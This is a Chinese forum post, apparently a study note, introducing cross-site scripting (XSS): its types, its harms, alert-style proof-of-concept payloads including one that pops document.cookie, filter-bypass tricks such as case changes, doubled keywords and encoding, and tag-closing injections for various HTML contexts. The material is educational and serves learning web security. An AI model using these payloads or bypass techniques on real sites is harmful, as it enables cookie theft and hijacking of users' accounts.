XSS扫盲

gavin_gov   ·   发表于 2023-02-27 17:31:11   ·   学习杂记

一、XSS简介

  1. XSS全称是跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,所以将跨站脚本攻击缩写为XSS

二、XSS原理

  1. XSS 攻击指黑客通过特殊的手段往网页中插入了恶意的 JavaScript 脚本,从而在用户浏览网页时,对用户浏览器发起 Cookie 资料窃取、会话劫持、钓鱼欺骗等各攻击。
  2. 核心就是用户输入的内容被页面当做代码执行。
  3. XSS 跨站脚本攻击本身对 Web 服务器没有直接危害。
  4. 攻击者一般通过留言、电子邮件或其他途径向受害者发送一个精心构造的恶意 URL,当受害者在 Web 浏览器中打开该URL的时侯,恶意脚本会在受害者的计算机上悄悄执行。

三、XSS漏洞危害

  1. 盗取各类用户帐号,如设备登录帐号、用户网银帐号、各类管理员帐号
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  3. 盗窃企业重要的具有商业价值的资料
  4. 劫持用户浏览器
  5. 非法转账
  6. 强制发送电子邮件
  7. 强制弹出广告页面、刷流量
  8. 网站挂马
  9. 控制受害者机器向其它网站发起攻击
  10. 结合其他漏洞,如 CSRF 漏洞,实施进一步作恶
  11. 提升用户权限,包括进一步渗透网站
  12. 传播跨站脚本蠕虫等

XSS分类

1.反射型xss:
  1. 反射型XSS只是简单的把用户输入的数据从服务器反射给用户浏览器,要利用这个漏洞,攻击者必须以某种方式诱导用户访问一个精心设计的URL(恶意链接),才能实施攻击。
  2. 常存在于搜索框、URL
2.存储型xss:
  1. 用户输入的数据“储存”在服务器端,具有很强的稳定性,每当用户打开页面查看内容时,脚本将自动执行。
  2. 常存在于论坛、博客、留言板、个人资料页面
3.DOM型xss:
  1. 注入的脚本是通过改变 DOM 来实施的,恶意代码不会经过服务器,在前端被js代码直接读取放置到前端的标签中,是一种特殊的反射型XSS
  2. 常存在于页面源码中含有document.write()、document.innerHTML()、eval()函数的页面

四、常见POC

以下alert括号的单、双引号都可以用斜杠/代替
以下所有标签的右尖括号” > “都可以用”//“代替,作用是注释掉//后面的代码

1.HTML标签方式:
  1. <script>alert('xss漏洞-弹窗提示框')</script>
  2. <script>confirm(/xss漏洞-弹窗确认框/)</script>
  3. <script>prompt(/xss漏洞-弹窗输入框/)</script>
2.事件触发方式:
  1. <input onmousemove=alert(/鼠标在输入框移动时触发xss弹窗/)>
  2. <img src=1 onerror=alert(/加载图片失败时触发xss弹窗/)>图片名称</img>
  3. <img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
  4. <svg onload=alert(/svg标签弹窗/)>
  5. <body οnlοad=alert("body标签弹窗")>
  6. <video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
  7. <video οnlοadstart=alert(/video标签弹窗/) onerror=alert(/video标签/) src="/media/hack-the-planet.mp4" />
  8. <style οnlοad=alert(/style标签弹窗/)> </style>
3.伪协议:
  1. <a href=javascript:alert("伪协议弹窗")>a标签内容</a>

五、POC常见变形方式

  1. 改变大小写
  2. 双写关键词
  3. 用反引号" ` "代替单引号或双引号
  4. / 代替空格或者引号
  5. Tab与回车绕过关键词
  6. 使用HTML实体编码或URL编码
  7. BP修改输入绕过前端检测
  8. 闭合标签
  9. 注释符绕过服务端
  10. 内嵌,如<sc<script>ript>alert(999)</script>

五、代码注释

HTML注释符:
  1. 多行注释符:可跨行注释掉"<!-- -->"以内的代码
JavaScript注释:
  1. 单行注释符//:注释掉该行//以后的代码
  2. 多行注释符/* */:可跨行注释掉/* */以内的代码

六、XSS可以插在哪里?

1.用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
  1. <!-- 用户输入 -->
  2. <!-- --><script>alert('hack')</script><!-- -->
2.用户输入作为标签属性名,导致攻击者可以进行闭合绕过
  1. <div 用户输入="xx"> </div>
  2. <div ></div><script>alert('hack')</script><div a="xx"> </div>
3.用户输入作为标签属性值,导致攻击者可以进行闭合绕过
  1. <div id="用户输入"></div>
  2. <div id=""></div><script>alert('hack')</script><div a="x"></div>
4.用户输入作为标签名,导致攻击者可以进行闭合绕过
  1. <用户输入 id="xx" />
  2. <><script>alert('hack')</script><b id="xx" />
5.用户输入作为CSS内容,导致攻击者可以进行闭合绕过
  1. <style>用户输入<style>
  2. <style> </style><script>alert('hack')</script><style> </style>

七、常见漏洞场景

  1. 重灾区:评论区、留言区、个人信息、订单信息等
  2. 针对型:站内信、网页即时通讯、私信、意见反馈
  3. 存在风险:搜索框、当前目录、图片属性等
  4. PHP中常见的接收参数的方式有$_GET$_POST$_REQUEST等等,可以搜索所有接收参数的地方。
  5. 页面源码中含有document.write()、document.innerHTML()、eval()函数的地方

七、扩展阅读

  1. https://blog.csdn.net/weixin_53002381/article/details/126017006
  2. https://www.freebuf.com/vuls/207025.html

打赏我,让我更有动力~

1 Reply   |  Until 2023-3-13 | 715 View

XCKKW
发表于 2023-3-13

感谢分享

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.